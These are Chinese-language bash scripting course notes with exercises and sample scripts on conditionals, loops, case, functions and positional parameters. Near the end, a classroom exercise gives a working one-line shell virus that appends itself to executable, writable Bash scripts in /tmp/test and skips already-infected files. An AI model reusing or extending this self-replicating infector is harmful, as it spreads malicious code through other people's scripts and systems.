# shell 脚本



---

1. shell 的基本组成元素
   - 1> 魔法字符 “ #! ”: 出现在脚本第一行，用于定义命令解释器。
   - 2> “ # ” 号开头的行：除了第一行的魔法字符以外，其他以 ” # “ 号开头 的行是注示。这些行不会被运行，只是给人阅读使用。
   - 3> 系统命令 :shell 脚本中运行解释的系统命令。
   - 4> 变量：脚本运行过程中某些反复调用的值的暂存地。
   - 5> 流程控制语句：判断，循环，跳转等流程控制。
2. 执行脚本的方法
   - 1> bash 脚本名称 bash -x 以调试模式来运行脚本
   - 2> ./ 脚本名称 --> 需要对脚本有可执行的权限
3. shell的基本语法
   - 条件判断语句　　if test
     - 循环语句for while unitl
     - 其他流程控制 case continue break shift function

## 判断条件

test 判断————————man test 查看的相关的判断指令

```
数字的判断    字符的判断    文件的判断
-gt 大于   -z 空          -d 文件是不是一个目录
-ge 大于等于     =  字符相等       -f 是不是一个普通文件
-lt 小于   != 字符不相等     -e 文件是不是存在
-le 小于等于     -n 非空
-ne 不等于      -a 逻辑与
-eq 等于   -o 逻辑或
```

```
注意 :
* [ ] 括号两边有空格
* 判断符号两边有空格
```

## if 语法格式

```
if condition     -->condition 指的是判断的条件
then
    CMD1     --> CMD1 指的是满足判断条件后执行的语句
else
    CMD2     --> CMD2 指的是不满足判断条件执行的语句 then
fi

if condition
then
    CMD1
elif condition
    CMD2
else
    CMD3
fi
```

### 课堂练习

```
1. 写一个脚本，判断用户是否存在，如果存在则删除。若不存在，就提示不存在。
2. 三个数字比大小，输出最大的
3. 三个数字比大小,并且按从大到小排列
```

```
[#74#root@client0 ~]#cat usertest.sh
#!/bin/bash
read -p "plz input username:" user
if id $user &> /dev/null
then
    userdel -r $user
else
    echo "student not exits"
fi
[#75#root@client0 ~]#cat num.sh
#!/bin/bash
if [ $1 -gt $2 ]
then
    if [ $1 -gt $3 ]
    then
        echo "max is $1"
    else
        echo "max is $3"
    fi
else
    if [ $2 -gt $3 ]
    then
        echo "max is $2"
    else
        echo "max is $3"
    fi
fi
echo ${#}
[#76#root@client0 ~]#bash num.sh 9 8 80
max is 80
3
[#99#root@client0 ~]#cat sort.sh
#!/bin/bash
if [ $1 -ge $2 ]
then
    n1=$1
    n2=$2
else
    n1=$2
    n2=$1
fi

if [ $n1 -ge $3 ]
then
    max=$n1
    if [ $n2 -ge $3 ]
    then
        be=$n2
        min=$3
    else
        be=$3
        min=$n2

    fi
```

```
else
    max=$3
    be=$n1
    min=$n2
fi

echo $max $be $min
[#101#root@client0 ~]#bash sort.sh 3 8 1
8 3 1
```

## for 语法格式

```
    for 变量 in 取值范围
    do
        CMD
    done
```

### 取值范围

- 以空格分割

  ```
  for i in 1 2 3
       for i in 5 7 10
  for i in a b c
  ```

  例子：

```
          for i in 10 11
                    do
                            ssh root@172.25.0.$i "yum install -y wget"
                    done
                    for i in xx uu
                    do
                            ls /tmp/$i
                    done
```

- 以{}罗列　　{1..10}

```
      可以使用seq     $(seq 1 10)==>1 2 3 4 5 6 7 8 9 10
                      `seq 1 10`
                      seq 1 2 10==>1 3 5 7 9
                      seq 10 -1 1==>10 9 8 7 6 5 4 3 2 1
```

### 命令行方式

```
for i in {1..10};do echo $i;done
```

### 课堂练习

1. 统计当前系统一共有多少个用户，并且向每个用户问好，屏幕输出“hello *username*, *youruidis*uid”
2. 依次向/var/目录下的每个文件问好“hello $file” ,统计一共有多少个文件
3. 输入用户名，当前系统中属于该用户的所有文件都会打印在屏幕上，并且告诉你文件大小超过$size的文件有哪些
4. 计算某个命令执行的时间

```
[root@client47 ~]# cat for1.sh
#!/bin/bash
echo 系统中一共有：`cat /etc/passwd |wc -l`个用户
for i in `cut -d ":" -f 1 /etc/passwd 2>/dev/null`
do
    username=$i
    uid=`grep ^$i /etc/passwd |cut -d ":" -f 3 2>/dev/null`
    echo "hello $username,your uid is $uid"
done
[root@client47 ~]# bash for1.sh
系统中一共有：22个用户
hello root,your uid is 0
hello bin,your uid is 1
hello daemon,your uid is 2
hello adm,your uid is 3
hello lp,your uid is 4
hello sync,your uid is 5
hello shutdown,your uid is 6
hello halt,your uid is 7
hello mail,your uid is 8
hello operator,your uid is 11
hello games,your uid is 12
hello ftp,your uid is 14
hello nobody,your uid is 99
hello avahi-autoipd,your uid is 170
hello systemd-bus-proxy,your uid is 999
hello systemd-network,your uid is 998
hello dbus,your uid is 81
hello polkitd,your uid is 997
hello tss,your uid is 59
hello postfix,your uid is 89
hello sshd,your uid is 74
hello student,your uid is 1000

[root@client47 ~]# cat for2.sh
#!/bin/bash
for i in `ls /var/`
do
    echo hello $i
done

echo /var目录中一共有`ls -l /var/|wc -l`个文件
[root@client47 ~]# bash for2.sh
hello adm
hello cache
hello crash
hello db
hello empty
hello games
hello gopher
hello kerberos
hello lib
hello local
```

```
hello lock
hello log
hello mail
hello nis
hello opt
hello preserve
hello run
hello spool
hello tmp
hello yp
/var目录中一共有21个文件

[root@client47 ~]# cat for3.sh
#!/bin/bash
read -p "请输入用户名：" username
read -p "请输入文件SIZE的最大值：" size

find / -user $username -size +$size 2>/dev/null
[root@client47 ~]# bash for3.sh
请输入用户名：root
请输入文件SIZE的最大值：500M
/proc/kcore
[root@client47 ~]# bash for3.sh
请输入用户名：root
请输入文件SIZE的最大值：100M
/proc/kcore
/usr/lib/locale/locale-archive


[root@client47 ~]# cat for4.sh
#!/bin/bash
read -p "plz input CMD:" cmd
start=`date +%s`
$cmd &> /dev/null
end=`date +%s`
time=$(($end-$start))
echo $cmd 执行的时间为 $time
[root@client47 ~]# bash for4.sh
plz input CMD:xz -d /tmp/big.xz
xz -d /tmp/big.xz 执行的时间为 2
```

## 拓展题

1. 画斜线正反

```
*
 *
  *
   *
```

2.写一个9*9乘法表

```
[root@client0 ~]# cat x1.sh
#!/bin/bash
#行数 空格  *数量
#1  0   1
#2  1   1
#3  2   1
#n  n-1 1


for i in `seq 1 $1`
do
    for j in `seq 1 $(($i-1))`
    do
        echo -n ' '
    done
    echo  '*'
done

[root@client0 ~]# bash x1.sh 4
*
 *
  *
   *


[root@client0 ~]# cat x2.sh
#!/bin/bash
#1*1=1
#2*1=2  2*2=4
#3*1=3  3*2 3*3
#9*1    9*2              9*9=

for i in `seq 1 9`
do
    for j in `seq 1 $i`
    do
        echo -n "$i*$j=$(($i*$j)) "
    done
    echo
done



[root@client0 ~]# bash x2.sh
1*1=1
2*1=2 2*2=4
3*1=3 3*2=6 3*3=9
4*1=4 4*2=8 4*3=12 4*4=16
5*1=5 5*2=10 5*3=15 5*4=20 5*5=25
6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36
7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49
8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64
9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81
```

## while 语法格式

```
    while condition 指的是判断的条件
    do
        CMD
    done
数字的判断    字符的判断    文件的判断
    -gt 大于   -z 空          -d 文件是不是一个目录
    -ge 大于等于     =  字符相等       -f 是不是一个普通文件
    -lt 小于   != 字符不相等     -e 文件是不是存在
    -le 小于等于     -n 非空
    -ne 不等于      -a 逻辑与
    -eq 等于   -o 逻辑或
```

1. 当什么的时候就做什么,体验无限循环

```
#!/bin/bash
touch /tmp/whilefile
while [ -f /tmp/whilefile ]
do
    cat >> /tmp/whilefile << ENDF
当山峰没有棱角的时候
当河水不再流
。。。
我哈哈ishi
ENDF

done
```

1. 不满足条件跳出循环

```
判断/tmp/whilefile2是否存在，不存在的时候我们去创建
#!/bin/bash
while [ ! -e /tmp/whilefile2 ]
do
    cat > /tmp/whilefile2 << ENDF
hello
ENDF

done
```

## until 语法格式

```
    until condition --> 不满足 condition, 则执行 cmd
    do
        CMD
    done
```

课堂练习

1. 连乘算法 while和until
2. 要求根据userlist创建用户，要求指定用户名，用户id，用户的附加组及变更用户u密码，若对应用户的附加组不存在，则将附加组创建出来后再根据要求添加用户。
userlist文件的格式如下：
carol 777 tom uplooking
natasha 778 tom uplooking
r1 779 tom uplooking
3. 要求根据userlist创建用户，要求指定用户名，用户id，用户的默认组和附加组及变更用户u密码，若对应用户的附加组不存在，则将附加组创建出来后再根据要求添加用户。
[root@rhel6 ~]# cat /tmp/useraddlist1
dabao 888 xuexi,it uplooking
lucy 889 sales,it uplooking
lily 899 pro,aa uplooking

```
[root@client0 ~]# cat useradd.sh
#!/bin/bash
while read a
do
    A=($a)
    groupadd ${A[2]} &> /dev/null
    useradd -u ${A[1]} -G ${A[2]} ${A[0]} &> /dev/null
    echo ${A[3]}|passwd --stdin ${A[0]} &> /dev/null
    id ${A[0]}

done</root/userlist

[root@client0 ~]# bash useradd.sh
uid=777(carol) gid=1001(carol) groups=1001(carol),1000(tom)
uid=778(natasha) gid=1002(natasha) groups=1002(natasha),1000(tom)
uid=779(r1) gid=1003(r1) groups=1003(r1),1000(tom)
```

## 晚自习作业

1. 完成今天课上的所有练习题目
2. 石子游戏：有n石子，谁拿到最后一个石子谁赢，
   用户可以指定一共由多少个石子，每次最多可以拿的石子数是可以给用户指定的
3. 创建一个以今天日期为名的目录20160811;
   将/目录下所有以.sh结尾的文件复制到新创建的目录中；
   将该目录打包压缩存到/tmp目录下保存。

```
[root@client0 ~]# cat game
#!/bin/bash
read -p "游戏开始！请玩家指定石子的个数:" n1
read -p "请玩家指定每次取石子的最多个数:" n2

k=$(($n1%($n2+1)))
j=$(($n1/($n2+1)))


HH () {
for i in `seq 1 $j`
do
    read -p "请玩家取石子:" w
    echo "我取 $((($n2+1)-$w)) 个石子"
    q=$(($q-($n2+1)))
    echo "目前还剩下 $q 个石子"
    [ $q -eq 0 ] && echo "你输了@.@!"
done
}

if [[ $k -gt 0 ]]
then
    echo "我先取 $k 个石子"
    q=$(($n1-$k))
    echo "目前还剩下 $q 个石子"
    HH
else
    q=$n1
    HH
fi
```

## **case** 语法格式

```
    case 取值 in
    取值 1)
        CMD1 ;
        cmd11;
        cmd12;;
    取值 2)
        CMD2 ;;
    取值 3)
        CMD3 ;;
    *)
        CMD4 ;;
    esac
```

* 代表除了以上所有的取值，做某一些操作

### 课堂练习

1. 请问你是否喜欢shell脚本？ 如果你回答yes，则程序退出，否则永远会问你是否喜欢shell脚本？

```
[root@client0 ~]# cat 1.sh
#!/bin/bash

read -p "请问你是否喜欢shell脚本？" an
until [ $an = yes ]
do
case $an in
yes)
    exit;;
*)
    read -p "请问你是否喜欢shell脚本？" an;;

esac
done
[root@client0 ~]# bash 1.sh
请问你是否喜欢shell脚本？yes
[root@client0 ~]# bash 1.sh
请问你是否喜欢shell脚本？no
请问你是否喜欢shell脚本？lsdjflksd
请问你是否喜欢shell脚本？lsdjflksd
请问你是否喜欢shell脚本？iii
请问你是否喜欢shell脚本？fuck you
1.sh: line 4: [: too many arguments
请问你是否喜欢shell脚本？...
请问你是否喜欢shell脚本？^^^[[D
请问你是否喜欢shell脚本？yes
```

## continue 语法格式

```
continue 作用于循环语句中 代表跳出这个循环进入下个循环 .
```

### 课堂练习

1. 要求输出100以下所有能够被7整除，但不能够被5整除的数字。（并在一行输出）

## break 语法格式

```
break 作用于循环语句中 代表直接跳出该循环 .
```

### 课堂练习

1. 要求找出系统中属于student用户的一个文件.

```
[root@client0 ~]# cat file.sh
#!/bin/bash
for i in `find / -user student 2>/dev/null`
do
    echo $i
    break

done
```

## shift 语法格式

```
位置参数
```

```
    $1 代表的是输入的第一个参数
    $2 代表的是输入的第二个参数 ....
    $0 代表的是 bash 程序本身名
    $# 代表的是参数的个数
    ${10} 超过的两位的
    ${*}或者${@} 代表将所有位置参数
    shift 代表移走第一位位置参数 , 由后续的位置参数前移一位 .
```

课堂练习

1. 显示位置参数的值，以及可执行脚本名称，参数的总数

## function 语法格式

```
functname ()
{
shell commands
}
```

- 函数的调用
    1. 直接调用函数– 函数名
    2. 传入参数– 函数名 参数1 参数2 参数3
    3. 使用return返回函数结束状态
- 函数中的局部变量和全局变量

默认为全局变量，因此不同的函数不可以使用同一个变量；
如果要变成局部变量，需要使用local来修饰，那么不同的函数就不能访问到这个局部变量。

- 函数返回值 return
  可以使用return命令来设置返回值；

例如 return 0

```
#### 课堂练习

5. 创建一个命令booboo，命令用法如下：
booboo -t 30s    代表睡30s；即-t后跟时间
booboo -l /tmp   代表显示某个目录下面的内容和属性以及目录本身的属性
booboo -r /tmp/file 代表删除某个文件
booboo --help    代表帮助信息显示该命令的用法

6. 输入你的出生日期，程序会告诉你距离你下一个生日还有几天？
```

```
[root@client0 ~]# cat booboo
#!/bin/bash
SLEEP ()
{
    sleep $1
}

DIR ()
{
    ls -l $1
    ls -ld $1
}

RM ()
{
    rm -rf $1
}

case $1 in
-t)
    SLEEP $2;;
-l)
    DIR $2;;
-r)
    RM $2;;
--help)
    echo "Usage: ls [-t|-l|-r|--help] [values]";;
*)
    echo "Usage: ls [-t|-l|-r|--help] [values]";;
esac
[root@client0 ~]# ./booboo -t 3s
```

使用bash写一个脚本实现以下功能：
1) -r 查看系统发行版本
2) -k 查看系统内核版本
3) -d 查看系统磁盘信息
4) -u 查看当前系统用户
5) -t 查看系统运行时间
6) -s 查看selinux状态
7) -f 查看内存信息
8) -n 查看网络信息
9) -a 实现以上所有功能
10）--help 查看帮助

```
#!/bin/bash
REL () {
cat /etc/redhat-release
}

KER () {
uname -a
}

DIS () {
df -h
}

USR () {
who
}

UPT () {
uptime
}

SEL () {
getenforce
}

FER () {
free -m
}

NET () {
ifconfig
}

case $1 in
-r)
    REL;;
-k)
    KER;;
-d)
    DIS;;
-u)
    USR;;
-t)
    UPT;;
-s)
    SEL;;
-f)
    FER;;
-n)
    NET;;
-a)
    REL;KER;DIS;USR;UPT;SEL;FER;NET;;

--help)
```

```
    echo "this is help"
esac
```

用shell脚本写一个病毒，要求如下：

1. 可以感染系统中的所有Bourne-Again shell script的脚本,可执行，可写；
2. 执行感染后的bash shell脚本会输出"echo hello,I am evil!"
3. 如果已经被感染，就不再感染

```
#!/bin/bash
if [ ! -f /tmp/.mybblock ];then touch /tmp/.mybblock; for i in `find /tmp/test/*` ; do grep "mybblock" $i &> /dev/null && continue ; file $i | grep "Bourne-Again shell script" &> /dev/null || continue ; [ -x $i -a -w $i ] || continue ; tail -n 1 $0 >> $i; done ; echo "hello,I am evil!"; rm -rf /tmp/.mybblock &> /dev/null ; fi
```

如果foo.sh 的第一个位置参数为-s ， 那么就沉睡，时间由第二个位置参数决定

```
#!/bin/bash
SLEEP ()
{
        echo "now sleep"
        sleep $1
}

case $1 in
-s)
        SLEEP $2;;
*)
        exit;;
esac
```